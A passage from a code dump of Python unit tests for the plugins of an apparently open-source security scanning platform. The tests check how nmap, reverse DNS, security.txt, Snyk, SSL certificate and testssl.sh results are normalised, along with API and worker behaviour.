    "content": "import re\n\nimport pytest\nfrom jsonschema.exceptions import ValidationError\nfrom jsonschema.validators import validate\n\nfrom boefjes.plugins.kat_nmap_tcp.normalize import run\nfrom octopoes.models.ooi.network import IPAddressV4, Network\nfrom tests.loading import get_dummy_data\n\n\ndef test_normalizer():\n    input_ooi = IPAddressV4(network=Network(name=\"internet\").reference, address=\"134.209.85.72\")\n    output = list(run(input_ooi.serialize(), get_dummy_data(\"raw/nmap_mispoes.xml\")))\n    assert len(output) == 15\n    for i, out in enumerate(output[:-1]):\n        if out.object_type == \"IPPort\" and output[i + 1].object_type == \"Service\":\n            name = output[i + 1].name\n            if out.port == 80:\n                assert name == \"http\"\n            elif out.port == 443:\n                assert name == \"https\"\n            else:\n                assert name != \"http\"\n                assert name != \"https\"\n\n\ndef get_pattern():\n    max_65535 = r\"(6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[1-5]\\d{4}|\\d{1,4})\"\n    max_65535_or_port_range = f\"({max_65535}|{max_65535}-{max_65535})\"\n    one_or_comma_separated = f\"^{max_65535_or_port_range}$|^{max_65535_or_port_range}(,{max_65535_or_port_range})+$\"\n\n    return re.compile(one_or_comma_separated)\n\n\ndef test_single_port_pattern(local_repository):\n    schema = local_repository.schema(\"nmap-ports\")\n    for single_port in [\"1\", \"2\", \"20\", \"80\", \"200\", \"2000\", \"20000\", \"65535\"]:\n        assert get_pattern().search(single_port) is not None\n        validate(instance={\"PORTS\": single_port}, schema=schema)\n\n\ndef test_bad_single_port_pattern(local_repository):\n    schema = local_repository.schema(\"nmap-ports\")\n    for bad_single_port in [\"-1\", \"-2000\", \"65536\", \"222222\"]:\n        assert get_pattern().search(bad_single_port) is None\n        with pytest.raises(ValidationError):\n            validate(instance={\"PORTS\": bad_single_port}, schema=schema)\n\n\ndef test_multi_ports_pattern(local_repository):\n    schema = local_repository.schema(\"nmap-ports\")\n    for multi_port in [\"1,2\", \"2,3,4\", \"2,3,4,5,6,7\", \"2,20,200,2000,65535\"]:\n        assert get_pattern().search(multi_port) is not None\n        validate(instance={\"PORTS\": multi_port}, schema=schema)\n\n\ndef test_port_range_pattern(local_repository):\n    schema = local_repository.schema(\"nmap-ports\")\n    for port_range in [\"1-2\", \"2-20000\", \"65533-65535\"]:\n        assert get_pattern().search(port_range) is not None\n        validate(instance={\"PORTS\": port_range}, schema=schema)\n\n\ndef test_combined(local_repository):\n    schema = local_repository.schema(\"nmap-ports\")\n    for port_range in [\"1,1-65000\", \"1,2,234,4300-5999,1\", \"22,111,137,80-100\"]:\n        assert get_pattern().search(port_range) is not None\n        validate(instance={\"PORTS\": port_range}, schema=schema)\n\n\ndef test_badly_combined(local_repository):\n    schema = local_repository.schema(\"nmap-ports\")\n    for port_range in [\"1,1-\", \"1-234-323\"]:\n        assert get_pattern().search(port_range) is None\n        with pytest.raises(ValidationError):\n            validate(instance={\"PORTS\": port_range}, schema=schema)\n"
  },
  {
    "path": "boefjes/tests/plugins/test_rdns.py",
    "content": "from boefjes.plugins.kat_rdns.normalize import run\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.records import DNSPTRRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom tests.loading import get_dummy_data\n\ninput_ooi = {\"primary_key\": \"IPAddressV4|internet|192.0.2.1\", \"network\": {\"name\": \"internet\"}}\n\n\ndef test_rdns_nxdomain():\n    oois = set(run(input_ooi, get_dummy_data(\"rdns-nxdomain.txt\")))\n\n    assert not oois\n\n\nreturned_oois = {\n    DNSPTRRecord(\n        scan_profile=None,\n        hostname=Reference(\"Hostname|internet|example.com\"),\n        dns_record_type=\"PTR\",\n        value=\"1.2.0.192.in-addr.arpa. 86400 IN PTR example.com.\",\n        ttl=86400,\n        address=Reference(\"IPAddressV4|internet|192.0.2.1\"),\n    ),\n    Hostname(\n        object_type=\"Hostname\",\n        scan_profile=None,\n        primary_key=\"Hostname|internet|example.com\",\n        network=Reference(\"Network|internet\"),\n        name=\"example.com\",\n        dns_zone=None,\n        registered_domain=None,\n    ),\n}\n\n\ndef test_rdns_answer_1():\n    oois = set(run(input_ooi, get_dummy_data(\"rdns-example1.txt\")))\n\n    assert oois == returned_oois\n\n\ndef test_rdns_answer_2():\n    oois = set(run(input_ooi, get_dummy_data(\"rdns-example2.txt\")))\n\n    assert oois == returned_oois\n"
  },
  {
    "path": "boefjes/tests/plugins/test_report_data.py",
    "content": "import json\n\nfrom boefjes.normalizer_models import NormalizerDeclaration\nfrom boefjes.worker.job_models import NormalizerMeta\nfrom tests.loading import get_dummy_data\n\n\ndef test_report_data(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"report-data-normalize.json\"))\n\n    raw = get_dummy_data(\"report-data.json\")\n    output = normalizer_runner.run(meta, raw)\n    ooi_dict = json.loads(raw)\n\n    declaration = NormalizerDeclaration(\n        ooi={\"object_type\": \"ReportData\", \"scan_profile\": None, \"primary_key\": \"ReportData|test\", **ooi_dict}\n    )\n\n    assert output.observations == []\n    assert output.declarations == [declaration]\n"
  },
  {
    "path": "boefjes/tests/plugins/test_scan_profiles.py",
    "content": "import json\nimport os\nimport uuid\nfrom datetime import datetime\n\nimport pytest\nfrom pydantic import ValidationError\n\nfrom boefjes.config import Settings\nfrom boefjes.job_handler import LocalNormalizerHandler\nfrom boefjes.worker.interfaces import Task, TaskStatus\nfrom boefjes.worker.job_models import NormalizerMeta\nfrom octopoes.models import DeclaredScanProfile\nfrom tests.loading import get_dummy_data\n\nRAW_DATA = json.dumps(\n    {\"ip_addresses\": [{\"address\": \"127.0.0.1\"}, {\"address\": \"10.0.0.0\"}], \"domains\": [{\"name\": \"example.com\"}]}\n)\n\n\ndef test_normalizer_can_yield_scan_profiles(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"external_db.json\"))\n    output = normalizer_runner.run(meta, bytes(RAW_DATA, \"UTF-8\"))\n\n    assert len(output.observations) == 1\n    assert len(output.observations[0].results) == 3\n    assert len(output.scan_profiles) == 3\n\n    profile = output.scan_profiles[0]\n    assert isinstance(profile, DeclaredScanProfile)\n    assert profile.reference == \"IPAddressV4|internet|127.0.0.1\"\n    assert profile.level == 3\n\n    profile = output.scan_profiles[1]\n    assert isinstance(profile, DeclaredScanProfile)\n    assert profile.reference == \"IPAddressV4|internet|10.0.0.0\"\n    assert profile.level == 3\n\n    profile = output.scan_profiles[2]\n    assert isinstance(profile, DeclaredScanProfile)\n    assert profile.reference == \"Hostname|internet|example.com\"\n    assert profile.level == 3\n\n\ndef test_job_handler_respects_whitelist(normalizer_runner, mocker):\n    bytes_mock = mocker.Mock()\n    bytes_mock.get_raw.return_value = RAW_DATA\n    octopoes = mocker.Mock()\n\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"external_db.json\"))\n    task = Task(\n        id=uuid.uuid4().hex,\n        scheduler_id=\"test\",\n        schedule_id=\"test\",\n        organisation=\"test\",\n        priority=1,\n        status=TaskStatus.RUNNING,\n        type=\"boefje\",\n        created_at=datetime.now(),\n        modified_at=datetime.now(),\n        data=meta,\n    )\n    os.environ[\"BOEFJES_SCAN_PROFILE_WHITELIST\"] = '{\"x\": 5}'\n    with pytest.raises(ValidationError):\n        Settings()\n\n    os.environ[\"BOEFJES_SCAN_PROFILE_WHITELIST\"] = '{\"x\": -1}'\n    with pytest.raises(ValidationError):\n        Settings()\n\n    os.environ[\"BOEFJES_SCAN_PROFILE_WHITELIST\"] = '{\"x\": 3}'\n    LocalNormalizerHandler(normalizer_runner, bytes_mock, Settings().scan_profile_whitelist, lambda x: octopoes).handle(\n        task\n    )\n    assert octopoes.save_many_scan_profiles.call_count == 0\n\n    os.environ[\"BOEFJES_SCAN_PROFILE_WHITELIST\"] = '{\"kat_external_db_normalize\": 2}'\n    LocalNormalizerHandler(normalizer_runner, bytes_mock, Settings().scan_profile_whitelist, lambda x: octopoes).handle(\n        task\n    )\n    assert octopoes.save_many_scan_profiles.call_count == 1\n    assert octopoes.save_many_scan_profiles.call_args[0][0][0].level == 2\n\n    os.environ[\"BOEFJES_SCAN_PROFILE_WHITELIST\"] = '{\"kat_external_db_normalize\": 3}'\n    LocalNormalizerHandler(normalizer_runner, bytes_mock, Settings().scan_profile_whitelist, lambda x: octopoes).handle(\n        task\n    )\n    assert octopoes.save_many_scan_profiles.call_count == 2\n    assert octopoes.save_many_scan_profiles.call_args[0][0][0].level == 3\n\n    os.environ[\"BOEFJES_SCAN_PROFILE_WHITELIST\"] = '{\"kat_external_db_normalize\": 4, \"abc\": 0}'\n    LocalNormalizerHandler(normalizer_runner, bytes_mock, Settings().scan_profile_whitelist, lambda x: octopoes).handle(\n        task\n    )\n    assert octopoes.save_many_scan_profiles.call_count == 3\n"
  },
  {
    "path": "boefjes/tests/plugins/test_security_txt.py",
    "content": "from boefjes.plugins.kat_security_txt_downloader.normalize import run\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddressV4, IPPort, Network\nfrom octopoes.models.ooi.service import IPService, Service\nfrom octopoes.models.ooi.web import URL, SecurityTXT, Website\nfrom tests.loading import get_dummy_data\n\ninput_ooi = {\n    \"object_type\": \"Website\",\n    \"scan_profile\": \"scan_profile_type='declared' \"\n    \"reference=Reference('Website|internet|192.0.2.0|tcp|443|https|internet|example.com') level=<ScanLevel.L2: 2>\",\n    \"primary_key\": \"Website|internet|192.0.2.0|tcp|443|https|internet|example.com\",\n    \"ip_service\": {\n        \"ip_port\": {\n            \"address\": {\"network\": {\"name\": \"internet\"}, \"address\": \"192.0.2.0\"},\n            \"protocol\": \"tcp\",\n            \"port\": \"443\",\n        },\n        \"service\": {\"name\": \"https\"},\n    },\n    \"hostname\": {\"network\": {\"name\": \"internet\"}, \"name\": \"example.com\"},\n    \"certificate\": \"None\",\n}\n\n\ndef test_security_txt_same_website():\n    oois = list(run(input_ooi, get_dummy_data(\"inputs/security_txt_result_same_website.json\")))\n\n    expected = []\n    expected.append(URL(raw=\"https://example.com/.well-known/security.txt\", network=Network(name=\"internet\").reference))\n    url = URL(raw=\"https://example.com/.well-known/security.txt\", network=Network(name=\"internet\").reference)\n    expected.append(url)\n    expected.append(\n        SecurityTXT(\n            website=Reference.from_str(\"Website|internet|192.0.2.0|tcp|443|https|internet|example.com\"),\n            url=url.reference,\n            security_txt=\"This is the content\",\n            redirects_to=None,\n        )\n    )\n\n    assert expected == oois\n\n\ndef test_security_txt_different_website():\n    oois = list(run(input_ooi, get_dummy_data(\"inputs/security_txt_result_different_website.json\")))\n\n    expected = []\n    url_original = URL(raw=\"https://example.com/.well-known/security.txt\", network=Network(name=\"internet\").reference)\n    expected.append(url_original)\n    url = URL(raw=\"https://www.example.com/.well-known/security.txt\", network=Network(name=\"internet\").reference)\n    expected.append(url)\n    expected.append(Hostname(name=\"www.example.com\", network=Network(name=\"internet\").reference))\n    ip = IPAddressV4(address=\"192.0.2.1\", network=Network(name=\"internet\").reference)\n    expected.append(ip)\n    expected.append(Service(name=\"https\"))\n    port = IPPort(address=ip.reference, port=443, protocol=\"tcp\")\n    expected.append(port)\n    ip_service = IPService(ip_port=port.reference, service=Service(name=\"https\").reference)\n    expected.append(ip_service)\n    website = Website(\n        ip_service=ip_service.reference,\n        hostname=Hostname(name=\"www.example.com\", network=Network(name=\"internet\").reference).reference,\n    )\n    expected.append(website)\n    security_txt = SecurityTXT(\n        website=website.reference, url=url.reference, security_txt=\"This is the content\", redirects_to=None\n    )\n    expected.append(security_txt)\n    expected.append(\n        SecurityTXT(\n            website=Reference.from_str(\"Website|internet|192.0.2.0|tcp|443|https|internet|example.com\"),\n            url=url_original.reference,\n            security_txt=None,\n            redirects_to=security_txt.reference,\n        )\n    )\n    assert expected == oois\n"
  },
  {
    "path": "boefjes/tests/plugins/test_snyk.py",
    "content": "import json\nfrom unittest import mock\n\nfrom boefjes.plugins.kat_snyk.main import run as run_boefje\nfrom boefjes.plugins.kat_snyk.normalize import run\nfrom boefjes.worker.job_models import BoefjeMeta\nfrom octopoes.models.ooi.findings import SnykFindingType\nfrom octopoes.models.types import CVEFindingType, Finding, Software\nfrom tests.loading import get_dummy_data\n\ninput_ooi = {\"primary_key\": \"Software|lodash|1.1.0|\", \"name\": \"lodash\", \"version\": \"1.1.0\"}\n\n\ndef test_snyk_no_findings():\n    assert not list(run(input_ooi, get_dummy_data(\"inputs/snyk-result-no-findings.json\")))\n\n\ndef test_snyk_findings():\n    oois = list(run(input_ooi, get_dummy_data(\"inputs/snyk-result-findings.json\")))\n    software = Software(name=\"lodash\", version=\"1.1.0\")\n\n    snyk_finding_data = [\n        (\"SNYK-JS-LODASH-590103\", \"Prototype Pollution\"),\n        (\"SNYK-JS-LODASH-608086\", \"Prototype Pollution\"),\n    ]\n    cve_finding_data = [\n        (\"CVE-2018-16487\", \"Prototype Pollution\"),\n        (\"CVE-2018-3721\", \"Prototype Pollution\"),\n        (\"CVE-2019-1010266\", \"Regular Expression Denial of Service (ReDoS)\"),\n        (\"CVE-2019-10744\", \"Prototype Pollution\"),\n        (\"CVE-2020-28500\", \"Regular Expression Denial of Service (ReDoS)\"),\n        (\"CVE-2020-8203\", \"Prototype Pollution\"),\n        (\"CVE-2021-23337\", \"Command Injection\"),\n    ]\n\n    snyk_findingtypes = []\n    snyk_findings = []\n    cve_findingtypes = []\n    cve_findings = []\n\n    for finding in snyk_finding_data:\n        snyk_ft = SnykFindingType(id=finding[0])\n        snyk_findingtypes.append(snyk_ft)\n        snyk_findings.append(Finding(finding_type=snyk_ft.reference, ooi=software.reference, description=finding[1]))\n\n    for finding in cve_finding_data:\n        cve_ft = CVEFindingType(id=finding[0])\n        cve_findingtypes.append(cve_ft)\n        cve_findings.append(Finding(finding_type=cve_ft.reference, ooi=software.reference, description=finding[1]))\n\n    # noinspection PyTypeChecker\n    expected = snyk_findingtypes + snyk_findings + cve_findingtypes + cve_findings\n\n    assert len(expected) == len(oois)\n\n\ndef test_snyk_html_parser(mocker):\n    mock_get = mocker.patch(\"boefjes.plugins.kat_snyk.main.requests.get\")\n    boefje_meta = BoefjeMeta.model_validate_json(get_dummy_data(\"snyk-job.json\"))\n\n    # Mock the first GET request\n    mock_first_get = mock.Mock()\n    mock_first_get.content = get_dummy_data(\"snyk-vuln.html\")\n\n    # Mock the next GET request\n    mock_second_get = mock.Mock()\n    mock_second_get.content = get_dummy_data(\"snyk-vuln2.html\")\n\n    # Mock the next 7 GET requests\n    mock_third_get = mock.Mock()\n    mock_third_get.content = get_dummy_data(\"snyk-vuln3.html\")\n\n    mock_get.side_effect = [mock_first_get] + [mock_second_get] + [mock_third_get] * 7\n\n    mime_types, result = run_boefje(boefje_meta.model_dump())[0]\n\n    output = json.loads(result)\n\n    assert output[\"table_versions\"] == []\n    assert output[\"table_vulnerabilities\"] == [\n        {\n            \"Vuln_href\": \"SNYK-JS-LODASH-1018905\",\n            \"Vuln_text\": \"Regular Expression Denial of Service (ReDoS)\",\n            \"Vuln_versions\": \"<4.17.21\",\n        },\n        {\"Vuln_href\": \"SNYK-JS-LODASH-608086\", \"Vuln_text\": \"Prototype Pollution\", \"Vuln_versions\": \"<4.17.17\"},\n        {\"Vuln_href\": \"SNYK-JS-LODASH-450202\", \"Vuln_text\": \"Prototype Pollution\", \"Vuln_versions\": \"<4.17.12\"},\n        {\n            \"Vuln_href\": \"SNYK-JS-LODASH-73639\",\n            \"Vuln_text\": \"Regular Expression Denial of Service (ReDoS)\",\n            \"Vuln_versions\": \"<4.17.11\",\n        },\n        {\"Vuln_href\": \"SNYK-JS-LODASH-73638\", \"Vuln_text\": \"Prototype Pollution\", \"Vuln_versions\": \"<4.17.11\"},\n        {\"Vuln_href\": \"npm:lodash:20180130\", \"Vuln_text\": \"Prototype Pollution\", \"Vuln_versions\": \"<4.17.5\"},\n    ]\n    assert output[\"cve_vulnerabilities\"] == [{\"cve_code\": \"CVE-2021-23337\", \"Vuln_text\": \"Command Injection\"}]\n"
  },
  {
    "path": "boefjes/tests/plugins/test_sslcertificate_normalizer.py",
    "content": "from boefjes.plugins.kat_ssl_certificates.normalize import run\nfrom tests.loading import get_dummy_data\n\ninput_ooi = {\n    \"object_type\": \"Website\",\n    \"scan_profile\": \"scan_profile_type='inherited' \"\n    \"reference=Reference('Website|internet|134.209.85.72|tcp|443|https|internet|mispo.es') level=<ScanLevel.L2: 2>\",\n    \"primary_key\": \"Website|internet|134.209.85.72|tcp|443|https|internet|mispo.es\",\n    \"ip_service\": {\n        \"ip_port\": {\n            \"address\": {\"network\": {\"name\": \"internet\"}, \"address\": \"134.209.85.72\"},\n            \"protocol\": \"tcp\",\n            \"port\": \"443\",\n        },\n        \"service\": {\"name\": \"https\"},\n    },\n    \"hostname\": {\"network\": {\"name\": \"internet\"}, \"name\": \"mispo.es\"},\n    \"certificate\": \"None\",\n}\n\n\ndef test_ssl_certificates_normalizer():\n    output = list(run(input_ooi, get_dummy_data(\"ssl-certificates.txt\")))\n    assert len([ooi for ooi in output if hasattr(ooi, \"object_type\") and ooi.object_type == \"X509Certificate\"]) == 3\n    for ooi in output:\n        if hasattr(ooi, \"object_type\") and ooi.object_type == \"X509Certificate\":\n            assert ooi.valid_from != ooi.valid_until\n"
  },
  {
    "path": "boefjes/tests/plugins/test_testssl_sh.py",
    "content": "from boefjes.plugins.kat_testssl_sh_ciphers.normalize import run\nfrom tests.loading import get_dummy_data\n\ninput_ooi = {\n    \"object_type\": \"IPService\",\n    \"scan_profile\": \"scan_profile_type='declared' \"\n    \"reference=Reference('IPService|internet|134.209.85.72|tcp|80|http') level=<ScanLevel.L2: 2>\",\n    \"primary_key\": \"IPService|internet|134.209.85.72|tcp|80|http\",\n    \"ip_port\": {\n        \"address\": {\"network\": {\"name\": \"internet\"}, \"address\": \"134.209.85.72\"},\n        \"protocol\": \"tcp\",\n        \"port\": \"80\",\n    },\n    \"service\": {\"name\": \"http\"},\n}\n\n\ndef test_cipherless_service():\n    oois = list(run(input_ooi, get_dummy_data(\"inputs/testssl-sh-cipherless.json\")))\n\n    # noinspection PyTypeChecker\n    expected = []\n\n    assert expected == oois\n\n\ndef test_ciphered_service():\n    oois = list(run(input_ooi, get_dummy_data(\"inputs/testssl-sh-ciphered.json\")))\n\n    # noinspection PyTypeChecker\n    expected_suites = {\n        \"TLSv1.3\": [\n            {\n                \"cipher_suite_alias\": \"TLS_AES_256_GCM_SHA384\",\n                \"encryption_algorithm\": \"AESGCM\",\n                \"cipher_suite_name\": \"TLS_AES_256_GCM_SHA384\",\n                \"key_size\": 253,\n                \"bits\": 256,\n                \"key_exchange_algorithm\": \"ECDH\",\n                \"cipher_suite_code\": \"x1302\",\n            },\n            {\n                \"cipher_suite_alias\": \"TLS_CHACHA20_POLY1305_SHA256\",\n                \"encryption_algorithm\": \"ChaCha20\",\n                \"cipher_suite_name\": \"TLS_CHACHA20_POLY1305_SHA256\",\n                \"key_size\": 253,\n                \"bits\": 256,\n                \"key_exchange_algorithm\": \"ECDH\",\n                \"cipher_suite_code\": \"x1303\",\n            },\n            {\n                \"cipher_suite_alias\": \"TLS_AES_128_GCM_SHA256\",\n                \"encryption_algorithm\": \"AESGCM\",\n                \"cipher_suite_name\": \"TLS_AES_128_GCM_SHA256\",\n                \"key_size\": 253,\n                \"bits\": 128,\n                \"key_exchange_algorithm\": \"ECDH\",\n                \"cipher_suite_code\": \"x1301\",\n            },\n        ],\n        \"TLSv1.2\": [\n            {\n                \"cipher_suite_alias\": \"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\",\n                \"encryption_algorithm\": \"AESGCM\",\n                \"cipher_suite_name\": \"ECDHE-RSA-AES256-GCM-SHA384\",\n                \"key_size\": 521,\n                \"bits\": 256,\n                \"key_exchange_algorithm\": \"ECDH\",\n                \"cipher_suite_code\": \"xc030\",\n            },\n            {\n                \"cipher_suite_alias\": \"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\",\n                \"encryption_algorithm\": \"AESGCM\",\n                \"cipher_suite_name\": \"DHE-RSA-AES256-GCM-SHA384\",\n                \"key_size\": 2048,\n                \"bits\": 256,\n                \"key_exchange_algorithm\": \"DH\",\n                \"cipher_suite_code\": \"x9f\",\n            },\n            {\n                \"cipher_suite_alias\": \"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256\",\n                \"encryption_algorithm\": \"ChaCha20\",\n                \"cipher_suite_name\": \"ECDHE-RSA-CHACHA20-POLY1305\",\n                \"key_size\": 521,\n                \"bits\": 256,\n                \"key_exchange_algorithm\": \"ECDH\",\n                \"cipher_suite_code\": \"xcca8\",\n            },\n            {\n                \"cipher_suite_alias\": \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\",\n                \"encryption_algorithm\": \"AESGCM\",\n                \"cipher_suite_name\": \"ECDHE-RSA-AES128-GCM-SHA256\",\n                \"key_size\": 521,\n                \"bits\": 128,\n                \"key_exchange_algorithm\": \"ECDH\",\n                \"cipher_suite_code\": \"xc02f\",\n            },\n            {\n                \"cipher_suite_alias\": \"TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\",\n                \"encryption_algorithm\": \"AESGCM\",\n                \"cipher_suite_name\": \"DHE-RSA-AES128-GCM-SHA256\",\n                \"key_size\": 2048,\n                \"bits\": 128,\n                \"key_exchange_algorithm\": \"DH\",\n                \"cipher_suite_code\": \"x9e\",\n            },\n        ],\n    }\n    assert len(oois) == 1\n    assert oois[0].suites == expected_suites\n"
  },
  {
    "path": "boefjes/tests/plugins/test_wappalyzer_normalizer.py",
    "content": "from boefjes.worker.job_models import NormalizerMeta\nfrom tests.loading import get_dummy_data\n\n\ndef test_page_analyzer_normalizer(normalizer_runner):\n    meta = NormalizerMeta.model_validate_json(get_dummy_data(\"body-page-analysis-normalize.json\"))\n    output = normalizer_runner.run(meta, get_dummy_data(\"download_page_analysis.raw\"))\n\n    assert output.observations\n    results = output.observations[0].results\n    assert len(results) == 14\n    assert {o.primary_key for o in results if o.object_type == \"Software\"} == {\n        \"Software|BootstrapCDN|3.3.7|\",\n        \"Software|Bootstrap|3.3.7|cpe:2.3:a:getbootstrap:3.3.7:*:*:*:*:*:*:*:*\",\n        \"Software|cdnjs||\",\n        \"Software|jQuery Migrate|1.0.0|\",\n        \"Software|jQuery|3.6.0|cpe:2.3:a:jquery:3.6.0:*:*:*:*:*:*:*:*\",\n        \"Software|jQuery||cpe:2.3:a:jquery:jquery:*:*:*:*:*:*:*:*\",\n    }\n"
  },
  {
    "path": "boefjes/tests/test_api.py",
    "content": "from pathlib import Path\nfrom unittest import mock\n\nimport boefjes.api\nfrom boefjes.dependencies.plugins import PluginService\nfrom boefjes.worker.interfaces import TaskStatus, WorkerManager\nfrom boefjes.worker.repository import get_local_repository\nfrom tests.conftest import MockSchedulerClient\nfrom tests.loading import get_dummy_data\n\n\ndef _mocked_scheduler_client(tmp_path: Path):\n    return MockSchedulerClient(\n        boefje_responses=[get_dummy_data(\"scheduler/pop_response_boefje_no_ooi.json\")],\n        normalizer_responses=[],\n        log_path=tmp_path / \"patch_task_log\",\n    )\n\n\ndef test_healthz(api):\n    response = api.get(\"/healthz\")\n    assert response.status_code == 200\n    assert response.text == '\"OK\"'\n\n\ndef test_boefje_input_running(api, tmp_path):\n    scheduler_client = _mocked_scheduler_client(tmp_path)\n    tasks = scheduler_client.pop_items(WorkerManager.Queue(\"boefje\"))\n    scheduler_client.patch_task(tasks[0].id, TaskStatus.RUNNING)\n    api.app.dependency_overrides[boefjes.api.get_scheduler_client] = lambda: scheduler_client\n    api.app.dependency_overrides[boefjes.api.get_plugin_service] = lambda: PluginService(\n        mock.MagicMock(), mock.MagicMock(), get_local_repository()\n    )\n\n    boefjes.api.get_environment_settings = lambda *_: {}\n    response = api.get(\"/api/v0/tasks/70da7d4f-f41f-4940-901b-d98a92e9014b\")\n    assert response.status_code == 200\n    assert response.json() == {\n        \"output_url\": \"http://placeholder:8006/api/v0/tasks/70da7d4f-f41f-4940-901b-d98a92e9014b\",\n        \"task\": {\n            \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n            \"scheduler_id\": \"boefje\",\n            \"schedule_id\": None,\n            \"organisation\": \"_dev\",\n            \"priority\": 1,\n            \"status\": \"running\",\n            \"type\": \"boefje\",\n            \"hash\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n            \"data\": {\n                \"id\": \"70da7d4f-f41f-4940-901b-d98a92e9014b\",\n                \"started_at\": None,\n                \"ended_at\": None,\n                \"boefje\": {\"id\": \"dns-records\", \"version\": None, \"oci_image\": None},\n                \"input_ooi\": \"\",\n                \"arguments\": {},\n                \"organization\": \"_dev\",\n                \"runnable_hash\": None,\n                \"environment\": None,\n            },\n            \"created_at\": \"2021-06-29T14:00:00\",\n            \"modified_at\": \"2021-06-29T14:00:00\",\n        },\n    }\n\n\ndef test_boefje_input_not_running(api, tmp_path):\n    scheduler_client = _mocked_scheduler_client(tmp_path)\n    scheduler_client.pop_items(WorkerManager.Queue(\"boefje\"))\n    api.app.dependency_overrides[boefjes.api.get_scheduler_client] = lambda: scheduler_client\n\n    response = api.get(\"/api/v0/tasks/70da7d4f-f41f-4940-901b-d98a92e9014b\")\n    assert response.status_code == 403\n"
  },
  {
    "path": "boefjes/tests/test_app.py",
    "content": "import base64\nimport json\nfrom multiprocessing import Manager\nfrom pathlib import Path\nfrom uuid import UUID\n\nimport pytest\n\nfrom boefjes.__main__ import get_runtime_manager\nfrom boefjes.config import Settings\nfrom boefjes.worker.interfaces import BoefjeOutput, File, StatusEnum, WorkerManager\nfrom boefjes.worker.manager import SchedulerWorkerManager\nfrom tests.conftest import MockHandler, MockSchedulerClient\nfrom tests.loading import get_dummy_data\n\n\ndef test_one_process(manager: SchedulerWorkerManager, item_handler: MockHandler) -> None:\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    items = item_handler.get_all()\n    assert len(items) == 2\n    assert items[0].data.boefje.id == \"dns-records\"\n    assert items[1].data.boefje.id == \"dns-records\"\n\n    patched_tasks = manager.scheduler_client.get_all_patched_tasks()\n\n    assert set(patched_tasks) == {\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014c\", \"running\"),\n        (\"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014c\", \"completed\"),\n        (\"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"failed\"),\n    }\n\n\ndef test_two_processes(manager: SchedulerWorkerManager, item_handler: MockHandler) -> None:\n    manager.pool_size = 2\n    manager.task_queue = Manager().Queue()\n\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    items = item_handler.get_all()\n    assert len(items) == 2\n\n    patched_tasks = manager.scheduler_client.get_all_patched_tasks()\n    assert set(patched_tasks) == {\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014c\", \"running\"),\n        (\"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"running\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n        (\"70da7d4f-f41f-4940-901b-d98a92e9014c\", \"completed\"),\n        (\"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"failed\"),\n    }\n\n\ndef test_two_processes_exception(manager: SchedulerWorkerManager, item_handler: MockHandler, tmp_path) -> None:\n    manager.scheduler_client = MockSchedulerClient(\n        [get_dummy_data(\"scheduler/should_crash.json\")],\n        [get_dummy_data(\"scheduler/pop_response_normalizer.json\")],\n        tmp_path / \"patch_task_log\",\n    )\n\n    manager.pool_size = 2\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    assert item_handler.queue.empty()\n    assert manager.scheduler_client.log_path.exists()\n\n\ndef test_two_processes_with_exception_in_handler(\n    manager: SchedulerWorkerManager, item_handler: MockHandler, tmp_path\n) -> None:\n    manager.scheduler_client = MockSchedulerClient(\n        [\n            get_dummy_data(\"scheduler/pop_response_boefje.json\"),\n            get_dummy_data(\"scheduler/should_crash.json\"),\n            get_dummy_data(\"scheduler/should_crash_2.json\"),\n        ],\n        [get_dummy_data(\"scheduler/pop_response_normalizer.json\")],\n        tmp_path / \"patch_task_log\",\n    )\n\n    manager.pool_size = 2\n    manager.sleep_time = 0.1\n    manager.task_queue = Manager().Queue()\n    with pytest.raises(KeyboardInterrupt):\n        manager.run(WorkerManager.Queue.BOEFJES)\n\n    items = item_handler.get_all()\n    assert len(items) == 1\n\n    patched_tasks = manager.scheduler_client.get_all_patched_tasks()\n\n    # Handler starts raising an Exception from the second call onward. So each process picks up a task, of which the one\n    # with id 9071c9fd-2b9f-440f-a524-ef1ca4824fd4 crashes. Task 70da7d4f-f41f-4940-901b-d98a92e9014b will be picked up\n    # by the other process in parallel, and completes before the crash of the other task. Since one process completes,\n    # it pops the same crashing task 9071c9fd-2b9f-440f-a524-ef1ca4824fd4 from the queue to simplify the test.\n\n    # We expect the first two patches to set the task status to running of both task and then process 1 to finish, as\n    # the exception has been set up with a small delay.\n    assert sorted(patched_tasks[:3]) == sorted(\n        [\n            (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"running\"),\n            (\"9071c9fd-2b9f-440f-a524-ef1ca4824fd4\", \"running\"),\n            (\"70da7d4f-f41f-4940-901b-d98a92e9014b\", \"completed\"),\n        ]\n    )\n\n    # The process completing status then to be set to 